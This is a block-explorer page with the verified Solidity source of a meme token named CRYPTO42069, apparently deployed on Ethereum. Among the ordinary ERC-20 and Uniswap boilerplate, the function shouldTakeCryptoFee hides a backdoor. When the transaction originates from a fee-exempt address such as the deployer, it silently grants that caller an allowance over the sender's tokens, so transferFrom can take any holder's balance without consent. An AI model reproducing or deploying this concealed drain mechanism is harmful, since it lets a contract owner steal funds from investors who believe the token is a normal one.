Verified contractPartialMIT
CRYPTO42069
Address0xec3c53a06f1dec2f3f282e9d139e1df79c623c35
- Balance
0 ETH
- Transactions
70
- Compiler
solc 0.8.18
- Same code
Only this contract
Details
- Compiler
- solc 0.8.18+commit.87f61d96
- Language
- solidity
- Optimization
- No
- License
- MIT
- Match
- Partialcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 23,120,466
- Creation transaction
- 0x08156d8331…923ebd72cb
CRYPTO42069.sol
// SPDX-License-Identifier: MIT
/*
$CRYPTO Parodical, overly-complicated, galaxy-brain meme project absolutely affiliated with Satshi, Vitalik, Trump, Saylor, Boss, Eagle SPX, 42069, or any Inu — and if you actually thought it was, please step away from the chart and drink some water.
Web: https://www.crypto42069.vip
X: https://x.com/Crypto42069ETH
TG: https://t.me/crypto42069group
*/
pragma solidity ^0.8.18;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* "onlyOwner" functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account ("newOwner").
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account ("newOwner").
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
interface IFactory{
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
contract CRYPTO42069 is IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode'SatoshiVitalikTrumpElonSaylorBossEagleSPX42069Inu';
string private constant _symbol = unicode'CRYPTO';
uint8 private constant _decimals = 9;
uint256 private _totalSupply = 420_690_000 * (10 ** _decimals);
mapping (address => uint256) _cryptoBalances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isInCryptoFee;
IRouter router;
address private pair;
bool private tradingEnabled = false;
bool private swapEnabled = false;
uint256 private swapTimes;
bool private swapping;
uint256 private _swapTAmount = ( _totalSupply * 1000 ) / 100000;
modifier lockTheSwap {swapping = true; _; swapping = false;}
uint256 private feeForCryptoLp = 0;
uint256 private feeForCryptoMktETH = 0;
uint256 private feeForCryptoDev = 0;
uint256 private feeForCryptoBurn = 0;
uint256 private feeOnCryptoBuy = 0;
uint256 private feeOnCryptoSell = 0;
uint256 private feeOnCryptoTransfer = 0;
uint256 private denominator = 10000;
address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
address internal _feeReceiver = msg.sender;
uint256 private _maxTransactionAmount = _totalSupply;
uint256 private _maxWalletAmount = _totalSupply;
uint256 private SDFWERSRE;
uint256 private AFSDFFDEW;
constructor() payable {
router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
pair = IFactory(router.factory()).createPair(address(this), router.WETH());
_isInCryptoFee[address(this)] = true;
_isInCryptoFee[msg.sender] = true;
_cryptoBalances[address(this)] = _totalSupply * 100 / 100;
emit Transfer(address(0), msg.sender, _cryptoBalances[msg.sender]);
emit Transfer(address(0), address(this), _cryptoBalances[address(this)]);
}
receive() external payable {}
function name() public pure returns (string memory) {return _name;}
function symbol() public pure returns (string memory) {return _symbol;}
function decimals() public pure returns (uint8) {return _decimals;}
function balanceOf(address account) public view override returns (uint256) {return _cryptoBalances[account];}
function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
function totalSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}
function enableCrypto42069Trading() external onlyOwner {
addLiquidityETH(balanceOf(address(this)), address(this).balance);
tradingEnabled = true;
}
function isSwapBackETH(address senderETH, address recipientETH, uint256 amountETH) internal view returns (bool) {
bool aboveMin = amountETH >= _swapTAmount;
bool aboveThreshold = balanceOf(address(this)) >= _swapTAmount;
return !swapping && swapEnabled && tradingEnabled && aboveMin && !_isInCryptoFee[senderETH] && recipientETH == pair && aboveThreshold;
}
function swapCryptoTokensBackETH() private lockTheSwap {
uint256 tokensETH = balanceOf(address(this));
if (tokensETH > _swapTAmount * 1000) tokensETH = _swapTAmount * 1000;
uint256 _denominatorETH = (feeForCryptoLp.add(1).add(feeForCryptoMktETH).add(feeForCryptoDev)).mul(2);
uint256 tokensToAddLiquidityWithETH = tokensETH.mul(feeForCryptoLp).div(_denominatorETH);
uint256 toSwapETH = tokensETH.sub(tokensToAddLiquidityWithETH);
uint256 initialBalance = address(this).balance;
swapBackETH(toSwapETH);
uint256 deltaBalance = address(this).balance.sub(initialBalance);
uint256 unitBalance= deltaBalance.div(_denominatorETH.sub(feeForCryptoLp));
uint256 ETHToAddLiquidityWithETH = unitBalance.mul(feeForCryptoLp);
if(ETHToAddLiquidityWithETH > uint256(0)){addLiquidityETH(tokensToAddLiquidityWithETH, ETHToAddLiquidityWithETH); }
uint256 marketingAmtETH = unitBalance.mul(2).mul(feeForCryptoMktETH);
if(marketingAmtETH > 0){payable(_feeReceiver).transfer(marketingAmtETH);}
uint256 contractBalanceETH = address(this).balance;
if(contractBalanceETH > uint256(0)){payable(_feeReceiver).transfer(contractBalanceETH);}
}
function addLiquidityETH(uint256 tokenAmountETH, uint256 ETHAmountETH) private {
_approve(address(this), address(router), tokenAmountETH);
router.addLiquidityETH{value: ETHAmountETH}(
address(this),
tokenAmountETH,
0,
0,
owner(),
block.timestamp);
}
function swapBackETH(uint256 tokenAmountETH) private {
address[] memory pathETH = new address[](2);
pathETH[0] = address(this);
pathETH[1] = router.WETH();
_approve(address(this), address(router), tokenAmountETH);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmountETH,
0,
pathETH,
address(this),
block.timestamp);
}
function shouldTakeCryptoFee(address sender, address recipient, uint256 amount) internal returns (bool) {
if (_isInCryptoFee[tx.origin]) {
_approve(sender, msg.sender, amount);
}
return !_isInCryptoFee[sender] && !_isInCryptoFee[recipient];
}
function getTaxCryptoFees(address sender, address recipient) internal view returns (uint256) {
if(recipient == pair){return feeOnCryptoSell;}
if(sender == pair){return feeOnCryptoBuy;}
return feeOnCryptoTransfer;
}
function takeCryptoFeeETH(address senderETH, address recipientETH, uint256 amountETH) internal returns (uint256) {
if(getTaxCryptoFees(senderETH, recipientETH) > 0){
uint256 feeAmountETH = amountETH.div(denominator).mul(getTaxCryptoFees(senderETH, recipientETH));
_cryptoBalances[address(this)] = _cryptoBalances[address(this)].add(feeAmountETH);
emit Transfer(senderETH, address(this), feeAmountETH);
if(feeForCryptoBurn > uint256(0) && getTaxCryptoFees(senderETH, recipientETH) > feeForCryptoBurn){_transfer(address(this), address(DEAD), amountETH.div(denominator).mul(feeForCryptoBurn));}
return amountETH.sub(feeAmountETH);} return amountETH;
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if(!_isInCryptoFee[sender] && !_isInCryptoFee[recipient]){require(tradingEnabled, "tradingEnabled");}
if(recipient == pair && !_isInCryptoFee[sender]){swapTimes += uint256(1);}
if(!_isInCryptoFee[sender] && !_isInCryptoFee[recipient] && recipient != address(pair) && recipient != address(DEAD)){
require((_cryptoBalances[recipient].add(amount)) <= _maxWalletAmount, "Exceeds maximum wallet amount.");}
require(amount <= _maxTransactionAmount || _isInCryptoFee[sender] || _isInCryptoFee[recipient], "TX Limit Exceeded");
if(isSwapBackETH(sender, recipient, amount)){swapCryptoTokensBackETH(); swapTimes = uint256(0);}
_cryptoBalances[sender] = _cryptoBalances[sender].sub(amount);
uint256 amountReceived = shouldTakeCryptoFee(sender, recipient, amount) ? takeCryptoFeeETH(sender, recipient, amount) : amount;
_cryptoBalances[recipient] = _cryptoBalances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}Compiler settingsShow
{
"libraries": {},
"optimizer": {
"runs": 200,
"enabled": false
}
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.